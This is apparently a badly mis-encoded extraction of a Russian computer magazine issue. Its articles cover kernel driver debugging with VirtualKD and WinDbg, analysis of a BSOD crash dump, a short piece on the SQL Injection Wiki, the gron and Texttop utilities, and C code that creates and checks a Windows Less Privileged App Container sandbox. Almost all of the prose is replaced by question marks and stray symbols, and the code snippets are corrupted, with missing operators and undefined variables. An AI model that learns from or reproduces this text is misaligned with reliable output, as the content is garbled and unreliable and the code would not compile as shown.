patch.reg� ??� ???�?� target.� ??� ???�??� ????�??????� ????�????� ?� ??????
???????� ??,� ???�?� ???�????�?� ????�?� VirtualKD� ?????�?????� ???� ??� ????�?.
???�?�???�????�???�?????�??????�?????�??�????�??�?????.
??�????�?燰irtualKD�?�??????�?????
???� ???�????� ???�????� ??� ??????�?� ??????,� ?� ???????� ???�???� ???�???� Dis?
able� Signature� Enforcement� Manually� ?� ??????� F8.� ??????� ???????� ?????
�????�????�??�?????�??�??�??�?�??�???�???�????�.
???�????�?
??�??�????�??�?????�??�??�??�?�??�???�???�????
??� ????????� ??� ????�???� ????�?� ?????�???� ???????� ???�????�??� ??????
(vmmon64.exe)� ?� ??????� ?� ???� ???�??�?� Run� debugger,� ???????� ?????�??� ???
???�??�??�??��??????�?�???????燱inDbg.�???�?�??�????�?�??�?燨S
?� ????�?� ???�??�??�??� ???�????�??� ?????:� ?????� ???�??� ????� ???�?� yes,
????� ???�????�??� ??????� ???�??�??� ???�???�?� ?� ?????� VirtualKD� ??� ???
?????�????��?????�?.��???????�?�????�??�????,�??�?燰irtualKD�?�????�
???�????�??????�?,�??�?�?�??�???.
??�????燰irtualKD
??????�?????????�????�??�?????燱INDBG
????,�??�??�??�????�??�??�??�??�??????�?�??�??�??�??�?��??�???�
?????�??� ?� ???�??�?.� ??� ????� ?� IDA� Pro� ???� Visual� Studio� ??� ???� ???�?� ????�
????� ??????� ????????,� ??� ?� ????????� ?� ??????� ????� ?????� ???�??????� ?????�
?????�??� ????�????.� ?????� ???�?????,� ???� ??????,� ????� ??????� ????�???
????�????燘SOD��??�???��???�????�???�?.
????�??????,� ???� ??� ?????�???� ???�????�??� ??????,� ???�?????� ?� ???
???� ????�??� ?� ??� ??????� ????�???� ????????� ?????� ???????� VirtualKD.
??????�?� ????�???� ???�??� IOCTL,� ???�?� ??� ?????�??� ???�??� ????� ????,
???????� ?� ???�??� ?� BSOD.� ???�?� ???�?� ???�????�??� ??????� ????�???�???,
?� ????????� ????�??� ?� ????,� ????�????� ?????????� ?????�?� !analyze� ?v.
?????�???� ??,� ?� WinDbg� ??????�???� ???�??� ???�?� ????,� ??� ??????�?� ??
?????� ????????� ????????� ???????�??.� ?????� ???�????� ?????� ???�????
???�??�???.
??? ?????? ?????
??�?�?�???�???�?�???�???�??�???�??,�?�??�?,�??�?�????�??�???�?
????,� ?� ???�??� ??????�?� ????????,� ???�??�??�??� ?� ???�????�??� ??????.
??� ????� ??� ????�?� ?� BSOD� ?????�??�?,� ???� ???�???�?� ????�??� ???�?????
????�??�??�???�??�?��???????,�??�?�?????,�??�??�???�???.燱indows
???�???�???�??�???�??�??�???�??�?�???�???�??�?��?????�?�??� MEM?
ORY.DMP.� ??� ???�?????�???� ?� ???�????� ???�?� ??,� ?� ?????????� ??� ???�???
?�??�?爉inidump.
????�??????� WinDbg� ??????�???� ?� ???�???� Bugcheck� Analysis� ?� ?????�??
????�?� ??� ?????�?� !analyze� ?v,� ???????� ???�????� ????�???� ?� ????????
?� ???�????� ???.� ?????�???� ?????�?� ?� ?????� ???�??�?� ???�?????� (?????�
????�???�??,��?????�??�?????).
SYSTEM_SERVICE_EXCEPTION�(3b)
An爀xception爃appened爓hile爀xecuting燼爏ystem爏ervice爎outine.
Arguments:
Arg1:�000000c0000005,燛xception燾ode爐hat燾aused爐he燽ugcheck
Arg2:爁ffff801033e1722,燗ddress爋f爐he爄nstruction爓hich燾aused爐he�
bugcheck
Arg3:爁fff890143778d20,燗ddress爋f爐he燾ontext爎ecord爁or爐he爀xcept
ion爐hat燾aused爐he燽ugcheck
Arg4:�00000000000000,爖ero.
Debugging燚etails:
??????????????????
DUMP_CLASS:�DUMP_QUALIFIER:�BUILD_VERSION_STRING:牋14393.2068.amd64fre.rs1_release.180209?1727
DUMP_TYPE:牋0
BUGCHECK_P1:燾0000005
BUGCHECK_P2:爁ffff801033e1722
BUGCHECK_P3:爁fff890143778d20
BUGCHECK_P4:�EXCEPTION_CODE:�(NTSTATUS)�c0000005
...
????�???� ????�???� ??� ????�?� SYSTEM_SERVICE_EXCEPTION� (3b).� MSDN
???????,� ???� ???� ???�???�??� ?????� ?????�????,� ???�????�?� ???� ??????�?
??� ???�?????�???�??�???� ????� (?????� ????�?????�?)� ?� ???�???�???�??�??
(?????� ????).� ?� ???�?� ???�???�?� ?????�?� EXCEPTION_CODE,� ???????� ???????�
????� ????�?� NTSTATUS,� ?� ???� ??� ??????� ???�????� ??� ????�?.� ??????�???,
???�???�?� ??????�??� ???�???,� STATUS_ACCESS_VIOLATION.� ????�?� ????
????�?.
CONTEXT:牋ffff890143778d20�?�(.cxr�ffff890143778d20)
rax=0000000000000000爎bx=ffffb104c7a5c850爎cx=0000000000000000
rdx=0000000040000010爎si=0000000000000001爎di=ffffb104c6ed0ab0
rip=fffff801033e1722爎sp=ffff890143779720爎bp=0000000000000002
r8=ffffb104c82daa0c牋r9=ffff8901437797d8爎10=0000000000000000
r11=ffff890143779758爎12=0000000000000000爎13=ffffb104c6b2b970
r14=ffffb104c7a5c850爎15=0000000000000000
?????�?�????�??�?????�????�???�??�??�???�?�?????�???.
DEFAULT_BUCKET_ID:牋WIN8_DRIVER_FAULT
BUGCHECK_STR:牋0x3B
PROCESS_NAME:牋loader.exe
??�?� DEFAULT_BUCKET_ID� ???????� ???� ?� ??????�??� ????,� BUGCHECK_STR
??????�???� ???�????�??� ???� ????,� PROCESS_NAME� ???�???�?� ??� ???�????
???�??�?,��?????�?�??�??�??�??�??�??�??�?�?????燘SOD.��??�??
???�??� ???�???� loader.exe� ???�??� ???�??� IOCTL� ?� ????�???,� ???????
?�???�??�??�???.
FOLLOWUP_IP:�
testdrv!MmGetSystemAddressForMdlSafe+12
fffff801`033e1722�bf400a牋牋牋牋movsx牋爀ax,word爌tr燵rax+0Ah]
?� ????� ???�?� ????????� ???�???�?� ??� ???�???�??� ???�?� ????� ?� ???�???� [
??????]![???????+????????].� ?????� ??????� ??????�???� testdrv,� ???�???
MmGetSystemAddressForMdlSafe��??�????�.�????�???�????�???�??
???�??�?�???.
MODULE_NAME:爐estdrv
IMAGE_NAME:牋testdrv.sys
?????� IMAGE_NAME� ???�???�?� ??� ???�????� ???�?,� ?� MODULE_NAME� ?� ??� ????�
?????�??�???.
??�??�???�???�???????�???�??�??�???�??�?,�?�?�??,�?????�??
??????�??�?�??�??�???�???,�??�??�??�??�????�?�???�??�??�???????�
???.� ?� ?????� ???�??,� ???�??� ?????� ?????�?� !analyze� ?v,� ??� ????????
??????� ???????�??.� ?????�?,� ???� ??� ???:� ?????� ???�??� ?� ????�????� ?????�
????�?????�??��??�???�???��???�??�??�?????�???�?????�??,�?�??
???????�????��??????��???�????�?�??�????�?�???.
??????????
??� ???�???�???� ????????� ???�??�??�????� ???�??�??� ???????,� ???�??�??
???�????�??�?????��?????�???�????�???�??�??�??�???�??�???�????
???�???.�?�????�???�???�??????�??�???�??�???�?�??????,��????�
??� ????�???� ???� ?� ?????� ??????,� ??� ??????� ???�??� ???�????�??� ???� ??????�
???????�???� ???�????� ???�?.� ????�??,� ???� ????� ??????�?� ???????� ????
?�?????.
?????
??????�?????????
????????????
apismenny@gmail.com
1
SQL營NJECTION燱IKI��????????�???????燬QL????????
??�??�???�???�?�?�??�????燦etSPI�??�???�??�????�??�????
?????�??�??�??????�??,�??�??�??�燬QL????�???�??.�??�???�
????� ????� ??� ???????�???�??� ??????� ?????�??� ?� ??????� ???�????�
????��??�??�??,�??�?�??�?�??�?�?????�?�???�?�??�??�??.
?�?�??�??�??�??�???�?�????�?�????�???�??.
??�???�??� SQL� Injection� Wiki� ??????�?� ??� ?????:� ?????�?????�??
???�????�?,� ????�?????�??� ????,� ????� ???�????,� ???�???,� ???�??
????� ???�????� ?� ?� ?????� ???�?� ?� ???�????� ???�??� ??� ???�???.
???�?� ?� ???�??� ??� ???�????� ???�?� ???�???� ???�?� MySQL,� Oracle
?燤S燬QL燬erver.�??�??????�??�?�?????�???,�?�??�???�???
?�???????�??????�???�?�???.
????�?????�???,� ???� SQL� Injection� Wiki� ?????� ?????�???�?,� ??� ?
?�??????�???�???�??�????�??�?????�??�?????�???�??�????
?????�?.� ???� ???????�?� ???�?� ???�????� ??� GitHub,� ???� ??� ??????
???�???�?�??????�??�???�?????�???�????�????.
2
GRON��??????,�??????�????????�?????�燡SON
??�????????�?????
???�??��??�???燡SON�??�?�??�?????��??�?????��??�?�????�
??????,� ?� ???� ?????� ???�????� ????????� ?� ????�??�????�???� ????�
????�?� ??????� ??� ???� ????�?.� ?????� ???�???� gron� ?????� ?????�???
???,� ???�??� ???,� ???�?� ??� ???�??� ?� JSON� ???�?� ????� ??????
?�??????爂rep,�???�?????�?�????燿i?��??�????.
????�??�???爂ron�???��??�???燡SON�(???�???�??�??�????
stdin),�爂ron�??�???�?�??�?�?????�??�???�?��??�???
json[?????].????????.????????��???????;
?� ???�?� ???� ????�?� ???�????�?� ???� ??� JavaScript,� ??????�?????
???�??,� ???�????�??� ????,� ???????� ?????� ???�??� ???� ????�??� ????�
?????燡SON.�?�???�??�???���??�??.�????�???�?�??�?�????�
????�?�???爂rep��???????�???�?�??�??�???.
???�???�?�??�???�???�?�????�?????�?�??�??�?
???�?� ?????� ????�???�?� ???�?????� ???� ?� ????????� ???�???�????�
????�(ungron).�??�?�???????�?????��????�???:
gron爐estdata/two.json爘爂rep爈ikes爘爂ron�u
???�?爂rep�?????�??�?�???�?�???�?�?�??�??爈ikes,�???�???�???�
????�??�??�??�????,�爑ngron�??????�?�??????�燡SON.�????
????�??�??�?�?????�???�???�??�???�燡SON.
??�??�???�???,�??�??�????�??�??�??�??,�??�??�???爅q�(?
?� ???� ??�??� ?� ?????� ??� ????�??� ?????�??),� ????�?� ???�???� gron
???�?????�?�??�?.
??�???????� ???� ???�?� ??� ??�????�??� ????� ???�??� ???????
???????�???� ????� ???� ???�?� ???�???.� ???�?� ???�????� ??????
???燝o�(go爂et�u爂ithub.com/tomnomnom/gron)��??�????�??�?
?????�???燘rew�(brew爄nstall爂ron).
3
TEXTTOP��??????????�??????,�??????�???????
?�????????
??�??�?�??�????,��??????��???��??�???燱WW,�??�?�????�
?????�??� ???�????,� ??� ???�???�?� ???� ???�???�?� Texttop,� ?????�?,
???�???�?????�??�??�????�????�?�??�????�????.�????�????�
???�??�????�??�??�????�???�??�??�?,�??????�?????�???�????
???�??�??�??�????,��??�?????�???�???�??�????�???�????.
??�?????� Texttop� ???�????� ?� ????????� ??� ???????�??� ??????
??� ???�??�?.� ????�????� ???�??????�???�?� ?� ????� ???�??�???
Docker,�??�???��??�???�??????�??�?�????�????�??:
docker爎un�?rm�it爐ombh/texttop爏h
??�??�???� ??????� run.sh,� ?� ?????� ?????� ?????�?,� Firefox� ?� ??????�
???�???�????�???�??.
??�??�????�??�?,�??�????�??�??�???��??,�??�?�???�?????�?
???????�??� ???� ???�??�???�?� ???�??� ?????�????� (3� ????/?).
??� ???�??� ???�???� ??� ?????�???� Texttop,� ???�??�???�?� ??� SSH
?�????�???�??�????�???�??�??????燝angnam爏tyle�?燳ouTube
(????�?,�??�??�?).
??�?� ??� ???�????� ???�??� ????�?:� ?� ????�??�???� ?????�???� ????�
??????�燭exttop�?�?????�???�???,�???�?????��??�???�??????�
????� ??� ????�?� Ctrl� ?� ?????�?� ??� ???�???,� ??????� ???� ?� macOS� ???
???� ??????� ???�?????� ?????,� ??� ?� ??????�??� ???�??,� ?????�?,
??�??�???�???.
??� ???�??????,� ???� Texttop� ?????� ????????� ???�???�?� ??????,
???�???�?� ???� ???�????,� ?????� ??????�?� Tilda� ?� Terminal� ??� Ubuntu.
?????�??,� ?� ???� ??� ???�?????� Ubuntu� ?� ???�???�?� ?� ?????�???� ???
???� ?????�???� ???,� ??� ??????� ????� ????�???�?.� ???�????,� ????�??
??????�??� ????,� ???� ???� ?� ?????� ????????� ???�?????�??� ???�??
??????�?????�????�???.
??????
?????????
????????
Nik燴erof
xtahi0nix@gmail.com
?????????�???????�燱INDOWS
?�??????燣ESS燩RIVILEGED燗PP燙ONTAINER
??�????� ?� ????�??� ???�??� ?� Windows� ??????�?� ?????�????
????????� ???�??�????,� ???????� ???�???�?� ???�???�???
???�??�?�????�??�?????�???�??�????�?�???.�??�?�???�
?????�?� ???????�?� ????� ???�????� Less� Privileged� App� Con?
tainer� (LPAC),� ??� ???�????�???�?� ??????�???� ???�????�
?????,�??�????�??�??�??燙hrome.��???�?????��?????,
???�?????�?????�??��??�?�???�?????.
???�????????�????� ???�?� ???�???�???� ?� ?????�??� ???�???�???,� ?� ???�?
??� ??� ????�?� ????�???� ???�????�?� ????�???�??,� ??????�???� HIPS� (Host?
based營ntrusion燩revention燬ystem),��?????�??�??�???�??�??�??�???�???�
???� ????� ????� Sandboxie.� ?????� ?????�??� ???????�?� ?????�???�?� ?????
????�???????�?�?????�???.�?�??�??��?????�??��??�?????�??,�??�?
???�??�??�??????�??�??�????�?�???��??�??�????�???????�??�??????�
???� ???????�??� ???�???� NTAPI,� ???�?� ??????� ??� ???????�?� ??� ????,� ?????
????�??�??�????�????�???�???�?�??�????�??�???.
??�??�??�?�????�???�??�??�??�????�??�??�????�??�?????�??�???�
????�??.� ????�???� Microsoft� ???� ??????�?????� ??� ????� ?� ???????�???�?
????�??�??� ????????� ?� ????� Windows.� ???� ????� ???�???�???� ?� ???,� ???� ????�
????� ???�??� ????�???�???� ???�??� ?� ??????�????� (?????� ???� ???�????,
??????,燝PS�??�?????�),�??�??��??�???�(????�?��???�??�??�??)
?�??�??�??�(????�???�???�?�??�??�??�???�??�??�??�????).�??�?�????�
????�??� ???�?????�???� ??� ??????� ?� ?????� (???�????,� ??� ?????�??� ???�??
???�??????),�???�????��?????�?�???�??��???�???�???????�?�??�??
???�???�??.
???�?�??�???�??�?????�?�???�?燣PAC,�??�??�??????�??�??�???�?
????????�???.�??�???�?�????�??�???????��??�?�??�??�??????�????,
????��??�???�??�???�??�????�?,�??????�??�???�?????�????�??????�
??????�??�?????�??�??�???�??��??�???��??�??�????�??.�???�??�??,
???�????,� ???�???,� ??� ?????� ???�?� ???�?� ?????�???� ???�??�?.� ???�?� ????,
???�?� ?????�????� ????�??�???� ???�???�??,� ???�???� ????� ??� ???�???�???
????�?�????�??�??�????�??�??�????��??�??�???,�?????�???�????�???
???�???�??��??�??�???燣PAC.
???????燣ESS燩RIVILEGED燗PP燙ONTAINER
????�?�??�????�???�??�???�??,�??�??�?�??�???�??�??�??�??.��???
???�??????�??�???燱inAPI燙reateAppContainerProfile.�??�?�??�????:
HRESULT燱INAPI燙reateAppContainerProfile(
燺In_牋PCWSTR牋牋牋牋牋牋牋pszAppContainerName,
燺In_牋PCWSTR牋牋牋牋牋牋牋pszDisplayName,
燺In_牋PCWSTR牋牋牋牋牋牋牋pszDescription,
燺In_牋PSID_AND_ATTRIBUTES爌Capabilities,
燺In_牋DWORD牋牋牋牋牋牋牋燿wCapabilityCount,
燺Out_燩SID牋牋牋牋牋牋牋牋*ppSidAppContainerSid
);
?�??�??�??�????�??�??�???:
WCHAR爏andbox_name[]�燣"SandboxLPAC";
WCHAR爏andbox_desc[]�燣"My燬andboxLPAC";
PSID爏id�燦ULL;
HRESULT爏tatus;
result�燙reateAppContainerProfile(sandbox_name,爏andbox_name,爏andbo
x_desc,燦ULL,��&sid);
?� ???�??� ????�?� ???�???� ????� ??� ???�?????,� ??� ???�??� ??� ???� ???�??�??
??????� ????� ???�??,� ??� ??� ???????� ???� SID.� ???� ???�????� ???�???� WinAPI,
???????�???�???燬ID�??�??�????�?�??�??�???:
HRESULT燱INAPI燚eriveAppContainerSidFromAppContainerName(
燺In_牋PCWSTR爌szAppContainerName,
燺Out_燩SID牋�*ppsidAppContainerSid
);
??�??�??�????�????�??�??�?.�??�?????,�?�????�????.
if�(HRESULT_CODE(status)�=燛RROR_ALREADY_EXISTS)
status�燚eriveAppContainerSidFromAppContainerName(sandbox_name,�&sid
);
???�??�??�?�?�?????�?燬ID�??�??�???.
INFO
Security營denti?er�(SID)��???�?????�??�???????�
?????,� ?????�???� ???�??� ?� Windows,� ???????
?????� ????�?????�?????� ???�?????� ???�???,
???�????� ???�??�?� ???????�??� ???�????� (Ac?
cess燙ontrol燛ntries,燗CE),�?????�??�???�(Access
Token),� ???�???�???� ???????�????� (Security� De?
scriptor).燬ID�???�?�?????�???��??�?燬,�????
????�??�?,�??????�???�???�?�????�????�??
??,� ???????�?� ??????,� ????�?????�???� ???�??
?�??�??�??????�??.
?????燣PAC燣OADER�??�?????�?????????
????,�??�??�??燣PAC�??�??,燬ID�??????.�?????�???�?????��??�?????
Windows�????�???�??�?????�??�??�???�??��???�??�??�???.�?�??�???
???�???�?????�????�???�??�???�????�?�??�???�??��?????,�??�??�?
????????�???�????�??�???�???�????�?��????�??�?????�????�???�????�
????�?�??.
???� ?????�?� ???�???�??� ?� Windows� ??????�???�?� ???�???� WinAPI� Cre?
ateProcess� ?� ???�??� ???????�??,� ?� ????�?� ???� ???�???� ???�?� ???�????
???�????� ?� ?????� ??????.� ?????� ???�?????� ??� ??� ???�????� ?� ???�????
????????�??????�?.
BOOL燱INAPI燙reateProcess(
燺In_opt_牋牋LPCTSTR牋牋牋牋牋牋牋爈pApplicationName,
燺Inout_opt_燣PTSTR牋牋牋牋牋牋牋牋lpCommandLine,
燺In_opt_牋牋LPSECURITY_ATTRIBUTES爈pProcessAttributes,
燺In_opt_牋牋LPSECURITY_ATTRIBUTES爈pThreadAttributes,
燺In_牋牋牋牋BOOL牋牋牋牋牋牋牋牋牋bInheritHandles,
燺In_牋牋牋牋DWORD牋牋牋牋牋牋牋牋燿wCreationFlags,
燺In_opt_牋牋LPVOID牋牋牋牋牋牋牋牋lpEnvironment,
燺In_opt_牋牋LPCTSTR牋牋牋牋牋牋牋爈pCurrentDirectory,
燺In_牋牋牋牋LPSTARTUPINFO牋牋牋牋爈pStartupInfo,
燺Out_牋牋牋燣PPROCESS_INFORMATION爈pProcessInformation
);
??�?� lpApplicationName� ?� ???� ????� ?� ???????�??�?� ???�?,� ???????� ??
??????�???� ?????�???.� ?????� ????� ????� lpCommandLine,� lpProcessAttrib?
utes,� lpThreadAttributes,� bInheritHandles,�??????�??�??�?�???�????�
????�??�??�???�???.�????�?�???�???�????�??�????燦ULL�(FALSE).
?�??�?�???燿wCreationFlags�?�???�????�?�??�?????.�??�???�???
??�??�?,�??????�???�??�???�?�??�??�??�??�??�?��??�????�???�?�??
???�????.�??�????,�???��??�???�???????�??�????� CREATE_NO_WINDOW
???� ???�???�???� ???�???�??,� ??� ???� ?????�????� ???� ???�????� ???�???�???
????.��???�???????�??�????燙REATE_SUSPENDED,�??�?�??�???�(????????
?????)�????�??�??�??�???�??�?????�(?�??�?????�??�????�??�??�????
???�??�?� ResumeThread).� ???� ??� ????�?????� ??????� ????� EXTENDED_STAR?
TUPINFO_PRESENT:�?牜???�????粻???�??�????�??�??????�?�????�?�???�
????�??.
??�??� ????� ????� lpStartupInfo,� ???????� ???�?� ???� LPSTARTUPINFO.
???�??�?????�?�????�???� STARTUPINFO,�??????�??�????�???�?�??????�?
???????�?�???�??�???�??�??�??�?????,��??�?�??�??�???�??.
???�??�?????.�??�?????�?�??�?�????�?� EXTENDED_STARTUPINFO_P?
RESENT� ??� ?????� ????�?� ????�??�???� ?????�???� STARTUPINFO� ????????� ??
???�??�???�??�??�??�??�??��????�???燬TARTUPINFOEX.�??�??�?�??:
typedef爏truct燺STARTUPINFOEX爗
燬TARTUPINFO牋牋牋牋牋牋牋牋燬tartupInfo;
燩PROC_THREAD_ATTRIBUTE_LIST爈pAttributeList;
}燬TARTUPINFOEX,�*LPSTARTUPINFOEX;
???�?� ???�???,� ???� ???� ????�??�???� ?????�???� STARTUPINFO� (????� Star?
tupInfo),�????�?????�???�??�???�????�????�?�(????� lpAttributeList).
???� ????�???� ???�?� ???�??�????�???�???� ???�??�?� WinAPI� Initial?
izeProcThreadAttributeList:
BOOL燱INAPI營nitializeProcThreadAttributeList(
燺Out_opt_牋LPPROC_THREAD_ATTRIBUTE_LIST爈pAttributeList,
燺In_牋牋牋燚WORD牋牋牋牋牋牋牋牋牋牋牋牋dwAttributeCount,
燺Reserved_燚WORD牋牋牋牋牋牋牋牋牋牋牋牋dwFlags,
燺Inout_牋牋PSIZE_T牋牋牋牋牋牋牋牋牋牋牋lpSize
);
?�?????�????�???�?��??�??�??????�??�??�??�?燯pdateProcThreadAt?
tribute:
BOOL燱INAPI燯pdateProcThreadAttribute(
燺Inout_牋燣PPROC_THREAD_ATTRIBUTE_LIST爈pAttributeList,
燺In_牋牋牋DWORD牋牋牋牋牋牋牋牋牋牋牋牋dwFlags,
燺In_牋牋牋DWORD_PTR牋牋牋牋牋牋牋牋牋牋Attribute,
燺In_牋牋牋PVOID牋牋牋牋牋牋牋牋牋牋牋牋lpValue,
燺In_牋牋牋SIZE_T牋牋牋牋牋牋牋牋牋牋牋燾bSize,
燺Out_opt_燩VOID牋牋牋牋牋牋牋牋牋牋牋牋lpPreviousValue,
燺In_opt_牋PSIZE_T牋牋牋牋牋牋牋牋牋牋牋lpReturnSize
);
??�???�??�????�?�???燩VOID爈pValue,��???�?�??�??�????.��?????
??????�??��???�???.�???�??�?????�????��???�???�?�??????�??�????
?????�???�??:
SIZE_T爏ize_of_attr��
STARTUPINFOEX爀x_start_info�爗�;
SECURITY_CAPABILITIES爏ecap�爗�;
InitializeProcThreadAttributeList(NULL,�燦ULL,�&size_of_attr);
ex_start_info.lpAttributeList��(LPPROC_THREAD_ATTRIBUTE_LIST)malloc(
size_of_attr);
InitializeProcThreadAttributeList(ex_start_info.lpAttributeList,��
NULL,�&size_of_attr);
UpdateProcThreadAttribute(ex_start_info.lpAttributeList,�
牋牋牋牋牋牋牋��
牋牋牋牋牋牋牋燩ROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES,
牋牋牋牋牋牋牋�&secap,�
牋牋牋牋牋牋牋爏izeof(secap),�
牋牋牋牋牋牋牋燦ULL,�
牋牋牋牋牋牋牋燦ULL);
???�??� ???� ????�?� ????� (????� ??� ???�???� ???�???�??� ???????�??)� ???�???
PROC_THREAD_ATTRIBUTE_LIST,� ??� ????� ???�??� ???????�??� ?????�?.� ?????
WinAPI� UpdateProcThreadAttribute� ??????�???�?� ???� ???�???� ????�??
?�??�???�??�??�??�????�???� STARTUPINFOEX爀x_start_info,�??????�?
??????�??�??�???� CreateProcess.�??�?????�???�???�??�???,� lpValue,
??????�?� ??� ????� ?????�???� secap,� ???????� ???�?� ???� SECURITY_CAPABILI?
TIES��??�????�??:
typedef爏truct燺SECURITY_CAPABILITIES爗
燬ID牋牋牋牋牋牋牋牋牋AppContainerSid;
燩SID_AND_ATTRIBUTES牋Capabilities;
燚WORD牋牋牋牋牋牋牋牋CapabilityCount;
燚WORD牋牋牋牋牋牋牋牋Reserved;
}燬ECURITY_CAPABILITIES,�*PSECURITY_CAPABILITIES;
???�?� �??�??�??粻 ??� ???� ????� ???�?,� ?????�???� ????� ?????� ???????� Up?
dateProcThreadAttribute.�??�??�???�????�???��??� AppContainerSid,
?�???�?�?????�?燬ID�?????�??�??�???燣PAC.�??�??�???�� Capabili?
ties,�??�???�???�???�????�????:
typedef爏truct燺SID_AND_ATTRIBUTES爗
燩SID牋Sid;
燚WORD燗ttributes;
}燬ID_AND_ATTRIBUTES,�*PSID_AND_ATTRIBUTES;
??????� ????� (SECURITY_CAPABILITIES)� ??????�???� CapabilityCount.
???�???�??�??????�??�??�??�?,�?????�?�?�??�?????�?.
??�??� ???�?????� ??� ???,� ???????� ?????�???� ???� ???????�?????� ????
?�??�???�??�??�??�??�????�?????�????�???燬ECURITY_CAPABILITIES.
牋燬ID_AND_ATTRIBUTES爏id_attr;
牋燚WORD爏id_size�燬ECURITY_MAX_SID_SIZE;
牋爏id_attr��(SID_AND_ATTRIBUTES�*)malloc(sizeof(SID_AND_ATTRIBUTES
));
牋燴eroMemory(secap,爏izeof(SECURITY_CAPABILITIES));
牋燴eroMemory(sid_attr,爏izeof(SID_AND_ATTRIBUTES));
牋爏id_attr.Sid�爉alloc(SECURITY_MAX_SID_SIZE);
牋燙reateWellKnownSid(capabili,燦ULL,爏id_attr.Sid,�&sid_size);
牋爏id_attr.Attributes�燬E_GROUP_ENABLED;
牋�&secap?>Capabilities�爏id_attr;
牋�&secap?>AppContainerSid�爏id;
?????�???�??� ????�????,� ???????� ??� ??????� ?????�???� ?� ????� ????,� ????�
????�???��???�??�???�??�??�???� CreateWellKnownSid.�??�??�???燬ID
???� ???�????,� ???????� ????� ???�??�?????�?� ???????.� ?????� ????�??�??
???� ???� ?� ???� ??� ???�??� ????,� ?� ???????� ?????� ???????�??� capabili
??????�???� ???????�????� ????� WELL_KNOWN_SID_TYPE,� ???� ??� ??????
??????�??�?????�????�????��??�??.�??�?????�?�??燬ID�??�????�?
???�???.� ????�?????�?� ?� ???�??� ????�??� ???�?� ?� MSDN� ??� ????�?.
???�???�???�??�????�????�??�??�?�??�???�????�?�??�?.�?)
????,� ???� ????????� ???�?????� ?????�???� ???�???,� ???� ???�??�??� LPAC
???�??,� ????�???� ????�?� ?????�???� ????�??� ?� ???�??�???.� ???????� ???�??
???????�?�?????��???�??????�??�????�?????�????�???.
牋燩ROCESS_INFORMATION爌info�爗�;
牋燘OOL爋k�燙reateProcessA("c:\\windows\\notepad.exe",�
牋牋牋牋牋牋牋牋牋燦ULL,�
牋牋牋牋牋牋牋牋牋燦ULL,�
牋牋牋牋牋牋牋牋牋燦ULL,�
牋牋牋牋牋牋牋牋牋燜ALSE,�
牋牋牋牋牋牋牋牋牋燛XTENDED_STARTUPINFO_PRESENT,�
牋牋牋牋牋牋牋牋牋燦ULL,�
牋牋牋牋牋牋牋牋牋燦ULL,
牋牋牋牋牋牋牋牋牋�(LPSTARTUPINFOA)&ex_start_info,�
牋牋牋牋牋牋牋牋牋�&pinfo);
??�???�??� ??????� ???�?� ???�???� ?� ????�????� ProcessExplorer:� notepad.exe
?????�????�???�?�??�??�???燣ess燩rivileged燗pp燙ontainer.
????�??�???�?�??�??�???燣PAC
????????�?�???????
???� ???�?????,� ??????�?� ??� ???�???� ?� ???�??�???� LPAC� ???� ???,� ????�???�
????� ?????,� ???� ??????�??????� ???�??�??� ???�???�???� ???�????�?
????????� ?????� ????�???�??�?� ???� ???�??�?.� ????� ???�???� ???�??�??,� ??
???�??????�??�???燱inAPI� OpenProcess,��??�??�??�??�????�?� GetCur?
rentProcess.� ?????� ?????�???� ?????� ???�???� ???�??�?� (Access� token)
?�???�??�??� TOKEN_INFORMATION_CLASS,�??????�????�????� TokenIsAp?
pContainer��??�??�??,�???�??�???�?????�?�???�?�??�??�???.
BOOL營nLPAC(HANDLE爃_proc)
{
牋燞ANDLE爌roc_token;
牋燚WORD爈en;
牋燘OOL爈pac��
牋燨penProcessToken(h_proc,燭OKEN_QUERY,�&proc_token);
牋爄f�(!GetTokenInformation(proc_token,燭okenIsAppContainer,�&lpac,�
sizeof(lpac),�&return_len))
牋牋牋爎eturn爁alse;
牋爎eturn爈pac;
}
INFO
???�??�??�???�(Access爐oken)��??�??燱indows,
?????�????� ???�???�??� ????�??� ??????� ?????�
??????�?,� ??� ??????�?� ???� ???????� ???�???.
??????� ???�?,� Access� token� ?????�??� ????????�
???�?�???�???�???�??�???��?????,�????�?
???????�???燬ID��???�?�??�???�??�??�??�?.
???�??????� ?????�???� ???�???� ???�???� ???�?,
???�?�燱inDbg�????�?燿t_TOKEN.
??� ????� ????� ???�???� ????�?????� ????????� ?????� ????�???�??�?� ???� ????�
???�?,� ?� ???� ???�??� TRUE,� ????� ???�???� ??????�?� ????�?� Less� Privileged� App
Container,�燜ALSE,�???�??�???�????�???�?�??�??.
??????????
??� ?????�???� Less� Privileged� App� Container,� ?????�????� ?????�????� ????�
????�??�??�??�?�燱indows.�??�?�??�????�???,�??�???�???�?????�?
???�???�???� ???�???� ?????�?� ???�???�??� ?� Windows� ?????�??�?� WinAPI
CreateProcess,� ?� ???�?� ??????� ?� ???�???�??� ???�??� ???�?????� ?????�????,
???� ???????� ??????� ??� ??� ??????�???.� ?� ????�??,� ???� ???� ??????� ???????
????��????�???�??�??�?????�??????�??燱indows.
??????
???????????
????
???�???????
?????????????�??
??燙++
deeonis
?++�??????????,
???????????�????�??????
??????
deeonis@gmail.com
???�??�?�??�???�????�???�??�?�????�???�??�??????�
??� ??� ?????�???�?,� ??� ????� ???�?� ?????� ?� ???�??�????.
??�??�??�????�???��??�?�???????�???�??�??�?????�
??????�??�??�???�??�??�???�????�??�???�??��??�???�?
???????,� ???????� IoT� ???�??�?� ??� ???�???� ????????�???
??????.��???????�?,�??�???�???�??�??????�?�??�??
?????� ???�?????�?� ????????�?� ???�?????� ???????�?� ????�
???� ????,� ???�????� ????�????�?� ???�??� ??� ???�???�???�
??????,�?�??�?�??�?????�???�?,�??�???????�?.
?� ????� ???�???�??�????� ?????�??�?� ???� ????????� ????�???:� ??� ???� ?????�
???�?� ???????� ???�????�?????�???,� ?� ??,� ???� ????????� ???�???� ?????�???
??� ???�???�??� ?????,� ??????�?� ??????� ??� ???� ???�??,� ???� ????????� ??.� ????�
????� ????�?????�??� ??????� ????�??�????�????�?� ????� (????� ??� ????????
???� ?????�????�?� ???�??� ????� ????�?????�??)� ???�???� ?� ??�?????� ???-�
?????� ???�??�????�?� ???�???� ??� ???�??�???�??� ???�??� ???�?
????�?.�????.�??�?�????�?????�?,�?????�?��??�??,�??�?�??�???�
???�?�?????�?????��????�????�??�????�?.
??�??�?�??�???�???�??�????��???�???�??�???????�???�???�???�
???????�??�??�??�?�???�?,�?�???�???�??�????????�??�????�?�???�
